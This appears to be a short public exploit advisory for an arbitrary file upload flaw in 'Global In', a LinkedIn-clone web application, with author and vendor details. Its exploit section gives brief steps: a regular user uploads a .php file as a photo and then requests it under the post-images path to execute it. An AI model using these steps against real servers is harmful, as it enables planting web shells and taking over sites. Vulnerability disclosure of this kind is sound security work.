Arbitary File Upload - Global In ( Web Application Exploit )

# # # # #

# Exploit Title: Global In - Arbitrary File Upload

# Google Dork: N/A

# Date: 11.03.2017

# Vendor Homepage: https://www.techbizstudio.com/

# Software: https://www.techbizstudio.com/product/linkedin-clone/

# Demo: https://www.techbizstudio.com/demo/globalin/

# Version: N/A

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail: ihsan[@]ihsan[.]net

# # # # #

# Exploit :

# Login as regular user

# http://localhost/[PATH]/dashboard

# Upload Photo / File.php

# http://localhost/[PATH]/post-images/1113330455_File.php

# Etc..

# # # # #